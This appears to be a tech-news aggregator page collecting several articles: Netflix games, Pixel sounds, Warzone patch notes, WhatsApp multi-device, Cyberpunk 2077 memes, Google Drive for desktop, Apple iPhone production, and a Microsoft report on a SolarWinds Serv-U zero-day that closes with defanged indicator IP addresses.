TechNews

TV and movie streaming giant Netflix could offer video games as part of its subscription from as early as next year, a new report claims.

According to Bloomberg, a person “familiar with the situation” has stated that video games could appear “within the next year”, being available alongside the service’s current content as a new, standalone genre. Apparently, Netflix doesn’t have any plans to charge any extra for the video game content on offer, presumably meaning that current subscribers would be able to access the games with no extra steps required.

The report notes that Netflix has hired former Electronic Arts and Oculus veteran Mike Verdu as its vice president of game development; previously, Verdu worked as Facebook’s vice president and was in charge of helping developers bring their games to the Oculus VR platform.

The idea of Netflix adding games to its service isn’t new, of course; reports surrounding the possibility first appeared back in May, and the company itself has expressed that it’s “excited to do more with interactive entertainment.” We’ve also seen Netflix properties appear on Switch, such as Stranger Things 3: The Game – but will games like these end up being exclusive to Netflix’s service going forward?

Are you a Netflix subscriber? Would you welcome games to the service? How do you think such a thing could impact Nintendo, Xbox Game Pass, or other areas of the gaming world? Share your thoughts with us in the comments.

Besides wallpapers, Google lets owners customize the Pixel experience by making available a large collection of ringtones, notification, and alarm sounds. Android 12 Beta 3 introduces a trio of additions to the Sounds app, and they’re very likely the new/next Pixel defaults.

At the start of this year, Google introduced a new tone when Cast is initiated on Smart Displays and speakers. Softer and less jarring, it very much reflected the friendly Nest visual and auditory design language.

A similar upgrade has now come to Pixel phones with version 2.8 of the Sounds app included with Android 12 Beta 3. “Bright Morning” is the current “Default alarm sound” and comes in at 12 seconds. It’s still available, but Google has added “Fresh Start” to the collection. It shares the same structure and can best be seen as a softer evolution. This refinement is also much longer at 31 seconds.

Old: Bring Morning

New: Fresh Start

Meanwhile, “Eureka” looks to replace “Popcorn” as the “Default notification sound.” Like the Cast update, Eureka is not as sharp and somewhat less surprising. Both start out strong, but the new addition ends smoother.

Old: Popcorn

New: Eureka

There should also be an updated “Phone ringtone” called “Your New Adventure” to replace “The Big Adventure.” Unfortunately, it fails to download but this is the clearest example of the lineage between the old and new sounds.

Old: The Big Adventure

You can currently set Fresh Start and Eureka today if you’re running the Android 12 Beta 3. They will very likely be the new default sounds on future devices. Google will presumably not change the defaults for existing users. It notably comes as the Pixel setup experience was also revamped today.

The broader launch of this new Pixel trio (via the updated Google Sounds app) will presumably occur with the public Android 12 launch in the third quarter. That said, it’s possible Google just rolls out via the Play Store with a monthly security, though there are no more Android 11 Feature Drops scheduled.

Check out 9to5Google on YouTube for more news:

Call of Duty: Warzone Season 4 Reloaded officially begins on July 15, and Raven Software has released the full patch notes for what’s new in version 1.39 in the Battle Royale, including details on the new game modes, weapon updates, bug fixes, and more.

Season 4 Reloaded of Call of Duty: Warzone includes the continuation of the Season 4 Battle Pass with 100 Tiers to progress through, alongside the first ever objective based game mode, Payload and new weapons to equip.

Raven Software has posted the patch notes for the new update. The new update will go live on July 14 at 9PM PT / 12AM ET on July 15 on all platforms with the Season 4 Reloaded content.

Black Ops Cold War’s Season 4 update went live on July 14, with patch notes for that update available.

Warzone Season 4 Reloaded Update File Size

• PlayStation 5: 8.9 GB
• PlayStation 4: 8.9 GB
• Xbox Series X|S: 9.2 GB
• Xbox One: 9.2 GB
• PC: 9.2 GB (Warzone Only) / 10.4 GB (Warzone and Modern Warfare)

Note: PC users will also need 12.4-12.9 GB of additional space on their hard drive for the patch copying process; this is only temporary space that is reclaimed upon completion of the patch installation and is not an additional download.

The patch notes and information below are only applicable to Call of Duty: Warzone.

Warzone Season 4 Reloaded Patch Notes

Events

Blueprint Blitz, a Limited-Time Event

Similar to Double XP weekends, we will start activating a new special global Event where Contraband Contracts automatically spawn after you complete two regular Contracts. Contraband Contracts award you with a permanent Weapon Blueprint reward if you’re able to extract it from the DZ, in addition to tons of Cash within your current match.

Blueprint Blitz should give you the opportunity to earn plenty of Weapon Blueprints from prior seasons. If you missed out or didn’t play Warzone during the time these were originally available, Contraband Contracts award you with previous Seasonal rewards after you complete the Contract.

Note: This Event will only apply to the core BR and Plunder modes.

Modes

Payload

Warzone’s first-ever objective-based game mode – Payload – pits two teams of 20 Players against each other in a race against time. Players drop in to escort two caravans of vehicles through a series of Checkpoints or sabotage the mission. Build or destroy barriers and purchase buildings to aid in your squad’s mission, and be sure to collect any Contracts you find around Verdansk as they will help lead to success. If the attacking team escorts all vehicles across all Checkpoints within the time limit, they win the match. The defending team can not only pick attackers off the payload vehicles to slow them down, but also buy and build obstacles to stall these vehicles on the tracks. This all happens as Operators are dropping in constantly with their own custom loadouts, searching for items across Verdansk like Cash and Killstreaks to aid their team in escorting or stopping the Payloads.

Look for Payload in the upcoming Featured Playlist Rotation as part of Season Four Reloaded.

Map

• Red Doors
  • Further intel suggests that these Red Doors will appear [[REDACTED]] and take you to [[REDACTED]].

General

• New Prestige items added:
• The Killchain Perk now increases the chance to obtain all Warzone Killstreaks from loot.

Gameplay

• Loot that spawns across Verdansk has been adjusted as follows…
  • New Gulag loadouts
  • The Sentry Gun Killstreak can be found in Red Door Control Rooms
  • The Specialist Token is now slightly more common in core BR
• Combat Bow Killstreak damage has been increased and it will now down enemies who are directly hit.
• Players will now drop their current equipment directly behind them when looting a Loadout Drop.
• Vertical camera movement will no longer be locked when sliding on a downward slope.
• Dirt Bike Updates:
  • Wheelies!
    • Lean back to lift the Dirt Bike and initiate a wheelie.
    • Lean forward to increase steering sensitivity and allow the Dirt Bike to perform sharper turns.
    • The Dirt Bike now supports leaning forward and backward in the air as well, so make sure to position yourself for that perfect landing.

We are excited to share that we are planning the debut of two new Warzone-specific Perks. Alongside them, High Alert will also be receiving an update that allows players to hear Dead Silent footsteps.

Until then, we may see a Weapon make its long-awaited debut in Verdansk. 😉

Bug Fixes

• Fixed an issue where the PS5 120hz mode couldn’t be activated while HDR was enabled.
• Fixed an issue with the Xbox One S that would prevent Players from joining matches in Verdansk Playlists.
• Fixed several issues that resulted in Players crashing due to Dev Error 5573.
• Fixed additional collision issues with various elements across Verdansk allowing Players to exploit/peek/shoot through them.
• Fixed an issue causing melee attacks to one-shot other Players if simultaneously equipping Armor Plates.
• Fixed an issue preventing Players from saving custom mods on the Shotgun Bravo (BOCW).
• Fixed an issue preventing Players from saving custom mods on the Tactical Rifle Charlie (BOCW).
• Fixed an issue with older Graphics Cards displaying shadows incorrectly.
• Fixed an issue with Rebirth Crates appearing open when they should be closed.
• Fixed an issue where the Ice Drake’s Barrel was obstructing the Player’s sight when ADSing with an Axial Arms 3x Optic.
• Fixed an issue allowing Players to briefly use Weapons after being downed if the Gas Mask animation was still active.
• Fixed an issue where a Bounty Target would still be tracked after death.
• Fixed an issue allowing Players to access an out of play area in the Downtown Tower.
• Fixed an issue where Players could fire their Weapons after being downed with a rocket launcher.
• Fixed an issue with the Tactical Rifle Charlie (BOCW) where its Maximum Reserve Ammo was 150 instead of 210.
• Fixed an issue where the hipfire reticle on the Light Machine Gun Alpha (BOCW) wouldn’t appear when the Visiontech 2x optic was equipped.
• Fixed an issue preventing Players from interacting with the Buy Battle Pass button after pressing an arrow key.
• Fixed an issue causing the “Celebratory Smoke” Gesture visual effects in Warzone to not match the Black Ops Cold War version.
• Fixed an issue causing various Blueprints in Warzone to not match the Black Ops Cold War version.
• Fixed an issue causing various Weapon Dynamic Icons to appear misaligned on the ingame UI.
• Fixed an issue causing the Dirt Bike icon to appear larger on the Tac Map than other vehicles.
• Fixed an issue causing Players to remain stuck on the Purchasing screen/animation when attempting to purchase the Battle Pass.
• Fixed an issue causing the hat on Beck’s “Spray Paint” Skin to appear translucent.
• Fixed an issue causing the Ballistic Knife to appear misaligned in third-person.
• Fixed an issue causing the Precision Airstrike Killstreak A-10 Thunderbolt II jet to remain in the sky until the end of the match.
• Fixed an issue causing Mastery Camos to apply inconsistently on various Blueprints.
• Fixed an issue causing incorrect animations while performing a melee attack in a crouched position.
• Fixed an issue where the Infil icon was the incorrect vehicle type.
• Fixed an issue causing the Bullfrog (BOCW) model to appear misaligned while equipped in the Primary Weapon slot.

Dirt Bike:

• Fixed an issue where Players would be unable to exit the Dirt Bike if it got stuck.
• Fixed an issue where Players in the passenger seat would not be able to melee other Players.
• Fixed an issue where picking up a fallen Dirt Bike would not play a pickup animation.
• Fixed an issue where detonating C4 on a Dirt Bike could kill Players in your squad.
• Fixed an issue where the Dirt Bike could be positioned to prevent doors from opening.
• Fixed an issue where the Helicopter blades would not kill Players riding a Dirt Bike.
• Fixed an issue where the Dirt Bike could get stuck if navigated to be resting on its underside.
• Fixed an issue where the kill feed icon for the Dirt Bike was the ATV.
• Fixed an issue where the Dirt Bike minimap icon was larger than other vehicle icons.
• Fixed an issue in Plunder where Player vision was partially blocked with bags of money.

UI, UX, More

• New Social Menu Tabs: Recent Squad and Recent Lobby
  • Added two new tabs to the Social Menu to display recent squad mates and recent game lobby members so that Players can more easily find, friend, and play with their recent team members.
  • Other Players that the Player interacted with during a match will be automatically sorted to the top of the Recent Lobby list to make it easier to report instances of cheating and/or toxicity even after the match has ended.

Accessibility

The following new features focus on three primary areas of accessibility: Hard of Hearing, Blind/Low-Vision, and Cognitive Overload.

• Text Chat Behavior (Time On Screen): Added a new accessibility option to change the visibility duration of incoming messages. Players can adjust the length of time that the text chat widget stays on screen when a new message is received. This feature is intended to support Hard of Hearing and Cognitive Overload Accessibility. 
  • Players can choose their desired text chat behavior from the following options: 
    • Off: The text chat will never show on the HUD for new messages
    • Default: When new messages are received, the text chat will stay on screen for 3 seconds. This is the legacy behavior that has been in use in Warzone.
    • Medium: When new messages are received, the text chat will stay on screen for 15 seconds. 
    • Long: When new messages are received, the text chat will stay on screen for 30 seconds. 
    • Extended: When new messages are received, the text chat will stay on screen for 60 seconds. 
       
  • This setting can be found by opening the Accessibility Options Menu and selecting Text Chat Behavior (Time On Screen) under the Visuals tab.
  • Alternatively, this setting can be found by opening the Options Menu and selecting Text Chat Behavior (Time On Screen) under the General tab.

Non-verbal communication is a cornerstone of Warzone gameplay and we are leveraging accessibility-oriented playtesting and our Warzone Accessibility FAQ feedback form to explore improvements to our text chat features. By adding more customizability to the amount of time the text chat stays on-screen when new messages are received, we hope Players will be better supported in strategically communicating with their squad without needing to rely on external hardware, such as headphones. However, we want to avoid spamming Players with additional HUD messaging during moment-to-moment combat, so we have also added an advanced version of this feature that allows Players to choose which of their incoming messages have longer or shorter on-screen durations. In effect, Players will be able to choose to keep squad messages on-screen for longer, while quieting down things like system messages. Alternatively, for Players with disabilities related to cognitive overload, the Text Chat Behavior (Time On Screen) feature allows Players to turn off in-game text chat notifications on the HUD entirely, so that messages can be received without causing disruption or disturbance that hinders the gameplay experience.

• Advanced Text Chat Behavior (Time On Screen): The advanced version of the Text Chat Behavior (Time On Screen) accessibility option allows Players to customize the visibility duration of incoming messages according to message type. In other words, Players can choose different visibility durations for Player Messages compared to System Messages. In addition, Players can select Always On Screen to prevent the text chat element from fading from the HUD. 
  • This can be accessed by navigating to the Text Chat Behavior (Time On Screen) option and selecting the “Advanced” button underneath.
  • Players can choose their desired text chat visibility duration for incoming Player messages (only) with the Player Messages Behavior setting.
  • Players can choose their desired text chat visibility duration for incoming system messages (only) with the System Messages Behavior setting. 
  • Both of these settings provide the following options to choose from: 
    • Off: The text chat will never show on the HUD for new messages
    • Default: When new messages are received, the text chat will stay on screen for 3 seconds. This is the legacy behavior that has been in use in Warzone.
    • Medium: When new messages are received, the text chat will stay on screen for 15 seconds. 
    • Long: When new messages are received, the text chat will stay on screen for 30 seconds. 
    • Extended: When new messages are received, the text chat will stay on screen for 60 seconds. 
       
  • Always On Screen: This setting is accessed from the Advanced Text Chat Behavior (Time On Screen) option. When enabled, the text chat widget will stay permanently on-screen while in-game. This setting is intended to support Cognitive Overload and Blind/Low-Vision Accessibility by eliminating the need for rapid peripheral visual localization and language processing of a temporary HUD element under time pressure.
• New Message Sound Alert: Added a new accessibility option to enable sound alerts when receiving new messages. This feature is intended to support Blind/Low-Vision Accessibility by providing a second channel for information communication – adding the sound alert allows Players to have an audio cue for new messages rather than only a visual cue. This setting applies in-game as well as in the front-end.
  • Players can choose from the following options to customize which messages they’d like to receive d sound alerts for: 
    • Disabled: (Default) No audio cue will be played when new messages are received. 
    • Player Messages Only: An audio cue is played when new messages are received from other Players. 
    • System Messages Only: An audio cue is played when new system messages are received. 
    • Both: An audio cue is played when any new message is received, including party chat and system messages.
       
  • This can be found by navigating to the Visuals tab within the Accessibility Options Menu and selecting New Message Sound Alert. Alternatively, this setting can also be found by navigating to the Options Menu, going to the General tab, and selecting New Message Sound Alert. 

This text chat feature improvement was also inspired by our internal accessibility-oriented playtesting and our online Warzone Accessibility FAQ feedback form. By using audio to provide a second channel of visual information communication, we hope that this option better supports Player-to-Player communication for blind and low-vision Players. Adding an audio cue helps alleviate the need for visual acuity at the periphery of the screen, where the text chat element lives. In addition, this feature will allow all Players, regardless of ability/disability, to have an indication of when new messages are received when they are away from their gaming setup, not looking at the screen, alt-tabbed out of the window, etc.!

Weapons

New Weapons (BOCW)

• OTs 9: Submachine Gun (Launch Week)
  • Full-auto SMG. Impressive firepower at close range with good visibility while firing. Reliable recoil control with a smaller magazine size.
• Mace: Melee (In-Season)
  • Brutal new melee Weapon arriving later in the season, unlockable via in-game challenge or Store bundle.

The following changes are our first major step towards increasing the average Time-to-Kill within Warzone. It is important to note that these Weapon adjustments were not made in a vacuum. When evaluating an individual change, some may seem quite drastic, but they were made holistically and in a way that supported a lock-step increase in average TTK across multiple Weapon categories. Torso Multipliers were a considerable focus of these changes with how often they would act as flat damage increases given how consistently that location could be hit. With reductions to these multipliers, we are placing a bigger emphasis on precision — a move which we feel is ultimately healthy for the game.

Statistically, there will always be a ‘best weapon’. That is the nature of a competitive game. Players will seek out and employ any advantage they can, regardless of how miniscule it may be. We will take great care to ensure that the ‘best weapon’ never overstays its welcome and has effectiveness that scales with the skill of the handler. Conversely, there are also a great deal of players who prefer a myriad of options to choose from. Our goal is to provide exactly that. We will continue to compress outliers, both over and underperforming, until each Weapon is viable at the very least. We do not want players to feel they are at a distinct disadvantage for not conforming to the generally accepted ‘best weapon’.

We will be closely monitoring Weapon performance to ensure the game is in a healthy state following the biggest balance update in the history of Warzone.

Assault Rifles

• AK-47 (BOCW)
  • Headshot Multiplier decreased from 1.62 to 1.5
  • Upper Torso Multiplier decreased from 1.2 to 1
• AK-47 (MW)
  • Upper Torso Multiplier decreased from 1.2 to 1.1
• C58 (BOCW) 
  • Headshot Multiplier decreased from 1.62 to 1.58
  • Upper Torso Multiplier decreased from 1.2 to 1
  • Lower Torso Multiplier decreased from 1.1 to 1
  • Maximum Damage Range increased by 8%
  • Recoil increased
• CR-56 AMAX (MW)
  • Headshot Multiplier increased from 1.5 to 1.55
  • Upper Torso Multiplier decreased from 1.1 to 1
• Assault Rifle Bravo (MW)
  • Headshot Multiplier decreased from 2.05 to 1.62
  • Upper Torso Multiplier decreased from 1.2 to 1.1
• FARA 83 (BOCW)
  • Maximum Damage decreased from 31 to 29
  • Recoil increased
• FFAR 1 (BOCW)
  • Headshot Multiplier decreased from 1.5 to 1.4
  • Maximum Damage decreased from 27 to 25
  • Minimum Damage decreased from 25 to 23
  • Maximum Damage Range decreased by 20%
  • Neck Multiplier increased from 1 to 1.2
• Assault Rifle Golf (MW)
  • Upper Torso Multiplier decreased from 1.2 to 1.1
• Grau 5.56 (MW)
  • Minimum Damage increased from 22 to 24
• Groza (BOCW)
  • Maximum Damage decreased from 28 to 27
  • Maximum Damage Range increased by 4.5%
  • Headshot Multiplier decreased from 1.62 to 1.5
  • Upper Torso Multiplier decreased from 1.2 to 1.12
  • Lower Torso Multiplier decreased from 1.1 to 1
  • Recoil pattern smoothed
• Krig 6 (BOCW)
  • Minimum Damage increased from 25 to 26
• M13 (MW)
  • Minimum Damage increased from 19 to 20
• Assault Rifle Charlie (MW)
  • Maximum Damage decreased from 28 to 27
  • Minimum Damage increased from 22 to 23
• Oden (MW)
  • Upper Torso Multiplier decreased from 1.3 to 1.2
• QBZ-83 (BOCW)
  • Minimum Damage increased from 22 to 24
  • Base Move Speed reduced by 3%
  • Base ADS Move Speed reduced by 5%
  • Upper Torso Multiplier increased from 1.1 to 1.2
  • Lower Torso Multiplier increased from 1 to 1.1
• RAM-7 (MW)
  • Maximum Damage decreased from 28 to 26
• XM4 (BOCW)
  • Maximum Damage decreased from 32 to 30
  • Minimum Damage decreased from 28 to 27
  • ADS Speed decreased slightly
  • Recoil increased slightly

Light Machine Guns

• M60 (BOCW)
  • Maximum Damage increased from 36 to 37
  • Headshot Multiplier increased from 1.5 to 1.6
• MG 34 (MW)
  • Maximum Damage decreased from 31 to 29
  • Minimum Damage decreased from 28 to 27
  • Headshot Multiplier decreased from 1.5 to 1.4
  • Upper Torso Multiplier decreased from 1.1 to 1
• MG 82 (BOCW)
  • ADS Speed decreased slightly
• Light Machine Gun Alpha (MW)
  • Maximum Damage increased from 31 to 32
  • Maximum Damage Range decreased by 7%
  • Upper Torso Multiplier decreased from 1.1 to 1

• SA87 (MW)
  • Upper Torso Multiplier decreased from 1.2 to 1.1
• Light Machine Gun Alpha (BOCW)
  • Maximum Damage decreased from 34 to 33
  • Upper Torso Multiplier decreased from 1.1 to 1

Sniper Rifles

• Swiss K31 (BOCW)
  • ADS animation updated
  • Now shares a base reticle with the ZRG 20mm

Submachine Guns

• AK-74u (BOCW)
  • Maximum Damage decreased from 35 to 31
  • Minimum Damage increased from 25 to 26
  • Headshot Multiplier decreased from 1.62 to 1.6
  • Upper Torso Multiplier increased from 1 to 1.1
  • Bullet Velocity increased by 5%
• Submachine Gun Alpha (MW)
  • Minimum Damage increased from 25 to 26
  • Headshot Multiplier decreased from 1.62 to 1.47
• Bullfrog (BOCW)
  • Maximum Damage decreased from 32 to 31
  • Headshot Multiplier decreased from 1.62 to 1.5
  • Left Upper Arm Multiplier increased from .9 to 1
  • Right Upper Arm Multiplier increased from .9 to 1
  • Left Upper Leg Multiplier increased from .9 to 1
  • Right Upper Leg Multiplier increased from .9 to 1
• KSP-45 (BOCW)
  • Headshot Multiplier decreased from 1.62 to 1.57
• LC10 (BOCW)
  • Maximum Damage decreased from 30 to 27
  • Minimum Damage decreased from 25 to 24
  • Headshot Multiplier decreased from 1.62 to 1.55

• Mac-10 (BOCW)
  • Maximum Damage decreased from 24 to 23
  • Minimum Damage decreased from 20 to 19
• Milano 821 (BOCW)
  • Recoil increased slightly
  • Maximum Damage range decreased by 12%
  • Headshot Multiplier decreased from 1.62 to 1.38
  • Upper Torso Multiplier decreased from 1.2 to 1.1
  • Lower Torso Multiplier decreased from 1.1 to 1
• Submachine Gun Alpha (BOCW)
  • Maximum Damage decreased from 33 to 31
  • Minimum Damage decreased from 25 to 24
• Nail Gun (BOCW)
  • Maximum Damage decreased from 50 to 46
  • Headshot Multiplier decreased from 1.62 to 1.45
  • Upper Torso Multiplier decreased from 1.28 to 1
• Submachine Gun Echo (MW)
  • Maximum Damage decreased from 35 to 34
  • Minimum Damage increased from 25 to 26
• PPSh-41 (BOCW)
  • Maximum Damage decreased from 28 to 26
• ISO (MW)
  • Minimum Damage increased from 20 to 21
• Submachine Gun Delta (MW)
  • Minimum Damage increased from 25 to 26
• Fennec (MW)
  • Maximum Damage decreased from 25 to 24
  • Minimum Damage decreased from 20 to 19

Tactical Rifles

• Tactical Rifle Charlie (BOCW)
  • Headshot Multiplier decreased from 1.8 to 1.7
• CARV.2 (BOCW)
  • Headshot Multiplier decreased from 1.7 to 1.6
• M16 (BOCW)
  • Headshot Multiplier decreased from 1.8 to 1.6 

Attachments

• BOCW Sniper Optics with 4x or greater magnification will now state that they have optic glint.

Operators

New Operator:

• Weaver: NATO (In-Season)
  • Obtainable in Warzone as part of the Tracer Pack: Weaver Operator Bundle, available in the Store later in Season Four Reloaded. 
    • This Bundle includes the “Kremlin’s Eye” Operator Skin based on his original Black Ops incarnation, in addition to three Legendary Weapon Blueprints and a new Finishing Move.

STORE

• CDL Team Supporter Pack – New Player Signatures to Prepare You for Champs
  • Rep your squad or favorite Players through various Calling Cards, Emblems, and Weapon Stickers. This pack will receive a free in-season update with 10 new Stickers. These signature Stickers are for Players who made major roster moves during the season, a few standout rookies, and one coach who broke barriers for European competitive Call of Duty during its early history. Any new purchases of this pack will include these Stickers for free, while those who previously purchased it will automatically receive items as soon as they become available across Black Ops Cold War and Warzone.  
• Special Ops: Pro Pack – The Pro Pack is Back in Black 
  • This six-item Bundle contains a Legendary new skin for Portnova and two Legendary Weapon Blueprints – one based on the FARA 83 and the other built on the AK-74u – plus a Calling Card and Emblem.

SOURCE: Raven Software

Until now, using WhatsApp web on your desktop or any other device has required having a phone that’s powered on and connected, but a new beta test is trying out support for multiple devices without needing a phone in the mix. In a June interview, WhatsApp head Will Cathcart and his boss, Facebook CEO Mark Zuckerberg, commented on the technical challenge of maintaining end-to-end encryption. With a blog post today, Cathcart explains more about what has been done behind the scenes to maintain security.

Image: Facebook

As the image comparing the legacy and new systems (above) tries to explain, previously, a user’s phone managed the key determining their identity and ability to encrypt/decrypt messages. The encrypted synchronization also applies to message history, contact names, and other data, with keys maintained on the individual devices.

To start, the beta is going out to a limited group of testers who are already in WhatsApp’s beta program, while the team says it’s working on improving performance and adding more features.

The Cyberpunk 2077 saga has been a long one but it’s still far from over. The latest development? Fans co-opting the game’s social media marketing campaign to dunk on things missing from the sci-fi RPG’s open world.

As first spotted by Forbes’ Paul Tassi, a number of posts have been blowing up on the Cyberpunk 2077 subreddit taking shots at CD Projekt Red’s current “Cyberpunk In Numbers” social media campaign on Twitter. In lieu of any updates on the games in the last couple weeks, the Cyberpunk 2077 Twitter account has been sharing statistics about the playerbase.

“Since players were first unleashed on Night City’s streets, 13 billion people have been defeated by V. By comparison, the megalopolis has a population of 6.9 million,” reads one of the tweets. “Wellsprings is officially the most dangerous neighborhood in Night City with an average of 57 player deaths per day (real time),” reads another.

Now players are responding with memes of their own highlighting all the things you still can’t do in the game. The most popular on the subreddit so far with over 20,000 upvotes is “Cyberpunk By Numbers: V has modified its appearance 0 times!” Another one that’s blown up is “Cyberpunk By Numbers: 0 MILLION SPENT on car and truck customization!” My personal favorite is, “Cyberpunk By Numbers: Police officers have teleported 7,300,000 times behind the players’ backs.”

These and many more each highlight a feature players have requested be added to the game since it launched over six months ago, or something they thought would be present in the game based on the years and years of trailers, interviews, and other marketing. A big one has been that despite the emphasis on character modding and customization, players can’t fundamentally alter their appearance after the game begins, not even by getting a haircut. While cars play a huge role in the world you can’t swap out paint jobs, shoot while driving, or buy a garage to house them in. And then there are Cyberpunk 2077’s cops, which despite subsequent patches can still act pretty wonky.

None of this is to say that CDPR developers were lazy, or that they should continue to crunch to try and expedite the game’s possible redemption arc. But it does speak to where some of the game’s most ardent players’ heads are at as they wait for DLC and PS5 and Xbox Series X/S upgrades.

Cyberpunk 2077 finally returned to the PlayStation Store last month, and has subsequently shot up to the top of the sales charts on PS4 as a result. At the same time, the roadmap for upcoming patches and content has gotten even more vague. The game may have finally reached a “satisfying level” of performance for CDPR executives, but players are still clearly desperate to see the game grow and evolve into the genre defining immersive sim they once thought it would be. And until it gets there, more memes.

Google just released a new Google Drive desktop app for Windows and Mac to replace the Backup and Sync and Drive File Stream tools, which are shutting down on October 1. Google recommends all users migrate to the Drive desktop app by September to avoid any syncing interruptions, but don’t lament the loss of those dusty old apps—the new Drive for desktop combines features from Backup and Sync and Drive File Stream into a single app, and even adds in some extra capabilities from the browser version and the Google Photos app.

Here’s Google’s official side-by-side summary:

Note that the new Drive for desktop app isn’t the only way to access your Google Drive on desktop. Drive can also be installed as a Progressive Web App (PWA), which takes up less space and uses fewer system resources than the new app does. However, the new desktop app has more features and integrates into your local files, storage devices, and programs in ways the PWA can’t. In other words, this looks to be the best, most comprehensive Google Drive desktop app yet.

How to install and use the new Drive desktop app

The Google Drive desktop app is available now for Windows and Mac. Download the applicable installer file for your device using the links in Google’s announcement blog, then follow the on-screen instructions to get started.

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After you install the app and sign in with your Google Account, your Google Drive will be available as a browsable folder to your computer called “My Drive.” All of your Google Drive files will appear from this folder as you’re online, or if they’re synced to your PC for offline access.

Opening a Google Doc file loads it in the browser by default, but you can also open them in Microsoft Office. If other Google users have access to a file, Microsoft Office—as well as other programs like Excel—will even show you if another user is editing the file, just like Google Docs will.

Other files open with your default desktop app—images open in Windows Photo viewer, for example. These are streamed to your desktop and not saved on the hard drive, saving space.

However, you can click and drag files in the “My Drive” folder to your desktop or another location on your PC to save them locally, or drag-and-drop files from your PC to the Google Drive folder to upload them to the cloud. If you’re signed into multiple devices at once, you files will sync across all of them simultaneously.

In addition to the dedicated “My Drive” folder, there is also a Google Drive widget accessible from the Windows taskbar or Mac menu. The widget lists your latest Drive activity—including recently uploaded files—and other important notifications.

Clicking the Gear icon in the upper-right of the widget opens the settings quick menu. From here you can change your local storage folder, swap to another Google account, and see other devices you’re signed into. You also can disable syncing at any time by going to Settings > Pause Syncing. Oh, and if dark mode is turned on in your desktop settings, the widget will automatically swap to its dark theme.

[Ars Technica]

(Bloomberg) — Apple Inc. has asked suppliers to build as many as 90 million next-generation iPhones this year, a sharp increase from its 2020 iPhone shipments, according to people with knowledge of the matter.

The Cupertino, California-based tech giant has maintained a consistent level in recent years of roughly 75 million units for the initial run from a device’s launch through the end of the year. The upgraded forecast for 2021 would suggest the company anticipates its first iPhone launch since the rollout of Covid-19 vaccines will unlock additional demand. The next iPhones will be Apple’s second with 5G, a key enticement pushing users to upgrade.

This year’s update will be more incremental than last year’s iPhone 12, emphasizing processor, camera and display improvements, the people said, asking not to be named as the plans are not public. Apple is planning updates to all of the current models, spanning the 5.4-inch and 6.1-inch regular versions and the 6.1-inch and 6.7-inch Pro models. The phones, codenamed D16, D17, D63, and D64, are all expected to be announced in September, earlier than last year’s October introduction partly thanks to the supply chain recovering.

At least one of the new versions will have an LTPO (low-temperature polycrystalline oxide) display capable of alternating its refresh rate based on the content being shown. Apple has used this technology in the Apple Watch for several years, allowing the screen to be slower in certain situations — such as the Always On mode — to extend battery life. Oppo, OnePlus and Samsung Electronics Co. already have LTPO screens in their flagship phones. The new iPhones with LTPO displays will also use IGZO (indium gallium zinc oxide) technology for improved power efficiency and responsiveness.

Read more: Apple Considers Foldable iPhone; Minor Changes Planned for 2021

While the design of the new Apple phones will remain largely unchanged, the company plans to reduce the size of the front-facing camera and face unlock sensor cutout, or notch, to better match its rivals. The company hopes to eventually remove the notch entirely in a future version of the iPhone and is likely to shrink its size further next year.

Story continues

An Apple spokesperson declined to comment.

Apple’s camera upgrades will put the focus on more advanced video recording features such as improved optical zoom. An upgraded system-on-chip, built around the same six cores as the current A14 chip, will also be included. The company has tested an in-display fingerprint scanner for this year’s devices, however that feature will likely not appear on this generation.

What Bloomberg Intelligence Says

Apple’s building on strong momentum from the iPhone 12 release in 2020 and may continue to benefit from 5G smartphone upgrades and an overall improved smartphone market to follow that up with another strong release. Still, the growth expected in the initial production ramp is skewed by the fact that the iPhone 12 released later than normal in 2020, while the next iPhone is expected back to the normal late September release window.

— Matthew Kanterman, analyst

While Apple has asked suppliers to build up to 90 million units, the actual number could be a few million units shy of that target, one of the people said. Huawei Technologies Co.’s sanction-stricken smartphone business is a major factor for Apple’s increased shipment orders, according to another person familiar with the strategy.

The ongoing chip shortage that has undermined operations across several global industries is not expected to affect the production of upcoming iPhones, some of the people said. Apple is key chipmaker Taiwan Semiconductor Manufacturing Co.’s biggest customer and its outsize orders make the launch of a new iPhone an annual event that suppliers across Asia plan for months in advance.

TSMC shares rose as much as 1.3% after the report of Apple’s upgraded output plans. Among other supply partners, fellow Taiwanese connector and power-pack maker Cheng Uei Precision Industry Co. climbed as much as 9% and lens maker Largan Precision Co. was up as much as 2.4%. Japanese electronic component makers Alps Alpine Co., up as much as 3.5%, and Renesas Electronics Corp., rising as much as 2.6%, were also positively affected. Apple profit estimates were raised at Citigroup.

Chinese assembly partner Luxshare Precision Industry Co. is set to have a bigger role this year after it acquired iPhone assembly facilities from Wistron Corp.

Read more: Apple Grooms First Mainland China IPhone Maker While U.S. Tensions Flare

Assembler Hon Hai Precision Industry Co. will dominate orders for the 6.7-inch Pro Max model and split the 6.1-inch Pro with Luxshare and the 6.1-inch regular iPhone with Pegatron Corp. Pegatron is expected to make all the 5.4-inch units.

Beyond the new iPhones, Apple is preparing several other products for later this year, including new MacBook Pro laptops with custom Apple chips, redesigned iPad mini and entry-tier iPad models and Apple Watches with updated displays. Apple plans to kick off production of the new MacBook Pro in the third quarter after facing some issues related to MiniLED screens that also challenged the launch of the latest iPad Pro.

To resolve the MiniLED supply issue, Apple has recruited Luxshare to split orders for an essential MiniLED component for the new MacBook Pro with Taiwan Surface Mounting Technology Corp., which earlier dominated the orders for the component for iPad Pro.

(Updates with analyst comment and supplier share prices)

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©2021 Bloomberg L.P.

Microsoft said on Tuesday that hackers operating in China exploited a zero-day vulnerability in a SolarWinds product. According to Microsoft, the hackers were, in all likelihood, targeting software companies and the US Defense industry.

SolarWinds disclosed the zero-day on Monday, after receiving notification from Microsoft that it had discovered that a previously unknown vulnerability in the SolarWinds Serv-U product line was under active exploit. Austin, Texas-based SolarWinds provided no details about the threat actor behind the attacks or how their attack worked.

Commercial VPNs and compromised consumer routers

On Tuesday, Microsoft said it was designating the hacking group for now as “DEV-0322.” “DEV” refers to a “development group” under study prior to when Microsoft researchers have a high confidence about the origin or identity of the actor behind an operation. The company said that the attackers are physically located in China and often rely on botnets made up of routers or other types of IoT devices.

“MSTIC has observed DEV-0322 targeting entities in the US Defense Industrial Base Sector and software companies,” researchers with the Microsoft Threat Intelligence Center wrote in a post. “This activity group is based in China and has been observed using commercial VPN solutions and compromised consumer routers in their attacker infrastructure.”

Beyond the three attacker-affiliated servers already disclosed by SolarWinds, Microsoft provided three additional indicators that people can use to determine if they were hacked. The indicators of compromise are:

• 98[.]176[.]196[.]89
• 68[.]235[.]178[.]32
• 208[.]113[.]35[.]58
